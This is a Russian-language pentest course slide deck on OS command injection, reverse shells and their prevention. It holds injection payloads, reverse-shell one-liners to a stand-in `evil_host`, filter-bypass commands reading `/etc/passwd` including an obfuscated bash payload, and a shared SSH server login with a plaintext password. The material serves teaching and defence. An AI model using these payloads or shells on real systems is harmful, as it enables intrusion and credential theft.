---
title: Web App Pentest - 0x03 - OS Command Injection
tags: CSR - Web App Pentest
slideOptions:
transition: 'fade'
parallaxBackgroundImage: 'https://i.imgur.com/YClZ1aY.jpg'
---
<style>
.reveal {
font-size: 36px;
}
</style>
# Web App Pentest
## 3 - OS Command Injection
---
Вопросы по заданиям?
---
## Темы занятия
* Уязвимость OS Command injection
* Reverse shell
* Code Injection
* Рекомендации по исключению
---
## Лирическое отсутупление
### Пентест web vs Анализ защищенности web
Цель пентеста - взломать веб-приложение и использовать его для развития атаки. Как правило пентестерам интересны только уязвимости высокого уровня критичности.
Цель анализа защищенности - найти все уязвимости.
---
### Docker
Docker - система контейнеризации. Для нас удобна тем, что позволяет поднимать приложения одной кнопкой.
BWAPP UP
## OS Command injection
---
## A03:2021-Injection
Уязвимости к инъекциям, таким как инъекции SQL, NoSQL, Command и LDAP, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или дать возможность получить доступ к данным без надлежащей авторизации.
---
## OS Command Injection
Уязвимость при которой веб-приложение небезопасно подставляет данные, полученные от пользователя в текст команды ОС, которая передается в командную оболочку ОС.
---
```php=
<?php
$command = 'mkdir ' + $_REQUEST['dirname'];
system($command);
?>
```
---
```php=
<?php
$command = 'mkdir ' + $_REQUEST['dirname'];
system($command);
?>
```
`http://vuln.example.com/?dirname=tmp; whoami`
---
```php=
<?php
$command = 'mkdir ' + $_REQUEST['dirname'];
system($command);
?>
```
`http://vuln.example.com/?dirname=; whoami`
```php
echo $command;
mkdir tmp; whoami
```
---
## OS Command injection
Пример в bWAPP
`docker run -p 80:80 raesene/bwapp`
* OS Command injection
* Совместная практика - root-me-PHP Command Injection
* OS Command injection (Blind)
---
## Еще примеры
Пример уязвимости инъекции команд:
```
$command = 'convert -pointsize 72 label:Hello ' . $_FILES['userfile']['name'];
system($command);
```
Пример эксплуатации для уязвимости выше:
```
------WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="userfile"; filename="check | ls -la;"
Content-Type: application/x-object
... contents of file goes here ...
```
### Code examples
[VulnPlanet - a03 injection code example](https://github.com/yevh/VulnPlanet/blob/main/web2/owasp/A03-Injection.md)
[VulnPlanet - command injection](https://github.com/yevh/VulnPlanet/blob/main/web2/type/Command_Injection.md)
#### PHP CVE-2019-16663
[Two unpatched RCE flaws in rConfig software expose servers to hack](https://securityaffairs.com/93391/hacking/rconfig-rce-flaws.html)
```php!
<?php
$rootUname = $_GET['rootUname'];
$array = array();
/* check PHP Safe_Mode is off */
if (ini_get('safe_mode')) {
$array['phpSafeMode'] = '<strong><font class="bad">Fail - php safe mode is on - turn it off before you proceed with the installation</strong></font>br/>';
} else {
$array['phpSafeMode'] = '<strong><font class="Good">Pass - php safe mode is off</strong></font><br/>';
}
/* Test root account details */
$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2>&1';
exec($rootTestCmd1, $cmdOutput, $err);
$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
if ($homeDirPerms == '0777') {
$array['rootDetails'] = '<strong><font class="Good">Pass - root account details are good </strong></font><br/>';
} else {
$array['rootDetails'] = '<strong><font class="bad">The root details provided have not passed: ' . $cmdOutput[0] . '</strong></font><br/>';
}
// reset /home dir permissions
$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2>&1';
exec($rootTestCmd2, $cmdOutput, $err);
echo json_encode($array);
```
[Code Security Advent Calendar 2022 | Can you Spot the Vulnerability? | Sonar](https://www.sonarsource.com/knowledge/code-challenges/advent-calendar-2022/) - day 10 - java
[Real attack - PHP Supply Chain Attack on Composer](https://www.sonarsource.com/blog/php-supply-chain-attack-on-composer/)
```java!
@WebServlet(name = "MercurialImporterServlet", urlPatterns = {"/check"})
public class MercurialImporterServlet extends HttpServlet {
@Override
protected void doPut(HttpServletRequest req, HttpServletResponse res) throws IOException {
res.setContentType("text/plain");
var out = res.getOutputStream();
if (req.getParameter("repository") == null
|| req.getParameter("repository").indexOf("$(") != -1
|| req.getParameter("repository").indexOf("`") != -1) {
res.setStatus(405);
return;
}
var cmd = new String[] {
"hg",
"identify",
req.getParameter("repository")
};
var p = Runtime.getRuntime().exec(cmd);
var br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;
while ((l = br.readLine()) != null) {
out.write(l.getBytes("ascii"));
}
br.close();
}
}
```
`repository=--config=alias.identify=!id`
## Reverse shell
Соединяется по TCP на слушаемый атакующим адрес/порт и позволяет атакующему выполнять команды в ОС жертвы.
[cheat sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
https://www.revshells.com/
Два основных варианта:
* /bin/bash -c "/bin/bash -i &>/dev/tcp/evil_host/4444 <&1"
* nc evil_host 4444 -e /bin/bash
Вопрос: Зачем обертка в первом варианте?
---
## Back connect receiver
Для тех, у кого нету сервера в интернете
Коннектится так:
`ssh cybered@ttesting.ru -p 2222`
Пароль: cybered_password
На Windows можно использовать ~~putty или xshell~~ тоже
`ssh cybered@ttesting.ru -p 2222`
Вам будут доступны порты 7000-7100
Слушать порт:
`nc -lvp <ваш_порт>`
---
## Совместная практика
- `Reverse Shell`
---
## Прокачать reverse shell
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
```
# In reverse shell
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty -a (понять сколько rows и columns, использовать в последней команде)
$ stty raw -echo
$ fg
# In reverse shell
$ export SHELL=bash
$ export TERM=xterm-256color
$ reset
$ stty rows <num> columns <cols>
```
---
## OS Command injection - техники
Отделение одной команды от другой:
* `;`
* `|`
* символ новой строки (0x0a)
* логических операторов `&&` или `||` (в зависимости от результата первой команды)
Выполнение подкоманды:
* в бэктиках ``` `ls` ```;
* через доллар `$(ls)`
* перенаправление в подпроцесс ` >(/bin/bash ....)`
---
### Мета - символы
| Injection Operator | Injection Character | URL-Encoded Character | Executed Command |
|-|-|-|-|
|Semicolon| ;|%3b|Both|
|New Line| \n|%0a|Both|
|Background| &|%26|Both (second output generally shown first)|
|Pipe| \||%7c|Both (only second output is shown)|
|AND| &&|%26%26|Both (only if first succeeds)|
|OR| \|\||%7c%7c|Second (only if first fails)|
|Sub-Shell| `` |%60%60|Both (Linux-only)|
|Sub-Shell| $()|%24%28%29|Both (Linux-only)|
___
## OS Command injection - обход фильтрации
`$IFS` - переменная среды, хранит символ разделителя полей, по умолчанию это пробел.
Можно использовать вместо пробела при его недоступности:
`cat$IFS/etc/passwd`
Также программы можно вызывать через фигурные скобки
`{cat,/etc/issue}`
Также так
`cat</etc/passwd`
А еще так
`c"a"t /e*c/""p?ss*d`
И даже вот так
`${!#}<<<{\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}$#))\'\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}$#${##}))\'\$\'\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\'\$\'\\$(($((${##}<<${##}))#${##}$#$#${##}$#${##}${##}$#))\',\$\'\\$(($((${##}<<${##}))#${##}${##}$#${##}${##}${##}))\'\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}${##}))\',\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#${##}$#$#))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#))\\$(($((${##}<<${##}))#${##}${##}${##}$#$#${##}))\\$(($((${##}<<${##}))#${##}$#$#${##}$#$#$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#${##}$#$#))\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${##}$#$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#$#$#))\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}$#$#${##}$#$#$#$#))\'}`
---
## Code Injection
Контролируемые атакующим данные подставляются в программный код, после чего он исполняется веб-приложением.
Пример:
bWAPP: PHP Code Injection
---
## OS Command Injection
Результат - **Remote Command Execution**.
Или - **Remote Code Execution**.
И то и другое называют **RCE**
---
## OS Command Injection. Как обнаруживать?
### Сканирование на OS Command Injection
Автоматизированная проверка большого количества векторов атаки.
Вопрос: как проверять что инъекция сработала успешна? Особенно для blind?
---
## OS Command Injection. Как обнаруживать?
### Сканирование на OS Command Injection
Хорошие способы:
- DNS запрос;
- временная задержка.
Вопрос: Почему DNS запрос лучше TCP-коннекта?
https://github.com/sorokinpf/cth_wordlists/tree/master/OS%20cmd%20inj/time-based
<демонстрация в Intruder>
---
## OS Command Injection. Как защититься?
Можно выделить два уровня защиты:
* Валидация входных данных
* Безопасный вызов команд ОС
---
## OS Command injection. Как защититься?
### Валидация
* Соответствие типу данных
* Корректность формата
* Регулярные выражения
* Разрешенный набор символов
---
## OS Command injection. Как защититься?
#### Валидация
ОДНОЙ ВАЛИДАЦИИ НЕДОСТАТОЧНО!!!
Но в некоторых случаях она может предотвратить уязвимости, а также другие "баги"
---
## OS Command injection. Как защититься?
#### Валидация
Современные фреймворки имеют специальные компоненты для валидации
```php=
public function createUser(Request $request)
{
$this->validate($request, [
'login' => 'required|max:255',
'age' => 'required|integer',
'email' => 'required|email',
'body' => 'required',
]);
...
}
```
Пример: **Laravel**
---
## OS Command injection. Как защититься?
### Безопасный вызов команд ОС
1. Может можно вообще без команд? Для огромного количества различных функций реализованы библиотеки.
1. Используйте функции языка для вызова других программ без обращения к оболочке ОС (proc_open в PHP)
1. По возможности не передавайте пользовательский ввод в командную оболочку.
1. В крайнем случае используйте специальные функции для экранирования (escapeshellargs,escapeshellcmd в PHP)
---
## OS Command injection. Как защититься?
Экранирование специальных символов
Нужно быть аккуратным, некоторые команды могут принимать параметры, приводящие к выполнению команд даже в случае корректной фильтрации. Пример:
```bash=
find . -exec whoami \; -quit
```
Список таких команд: https://gtfobins.github.io/
---
## OS Command injection. Как защититься? PHP
Экранирование специальных символов в PHP:
- escapeshellarg
- escapechellcmd
```php
system("mkdir ".escapeshellarg($_POST['dirname']));
```
---
## OS Command injection. Как защититься? PHP
Вызов команды напрямую, без шелла (PHP>=7.4):
```php
proc_open(['mkdir',$_POST['dirname'] ],[],$pipes);
```
---
## OS Command injection. Как защититься? Java
`Runtime.exec` и `ProcessBuilder` по умолчанию не передает данные в шелл.
Вызывать можно так:
```java
Runtime.exec(['command',param1,param2]);
.. = new ProcessBuilder('command',param1,param2);
```
Но угрозы типа описанной выше для `find` актуальны.
Также все еже может быть:
```java
Runtime.exec(["/bin/bash", "-c", "mkdir " + request.getParameter("value1")]);
```
---
## OS Command injection. Как защититься? C#
`System.Diagnostics.Process.Start` так же не использует shell по умолчанию.
Но
```C#
process.Start("cmd.exe","/c mkdir "+parameter1);
```
---
## Примеры
https://hackerone.com/reports/821962
https://hackerone.com/reports/212696
https://hackerone.com/reports/1360208
https://hackerone.com/reports/389561
https://hackerone.com/reports/303061
___
## Задания
- тест для самопроверки в LMS
- CTFD
- root-me PHP - Command injection
- root-me Command injection - Filter bypass
- PortSwigger Academy - OS Command Injection
---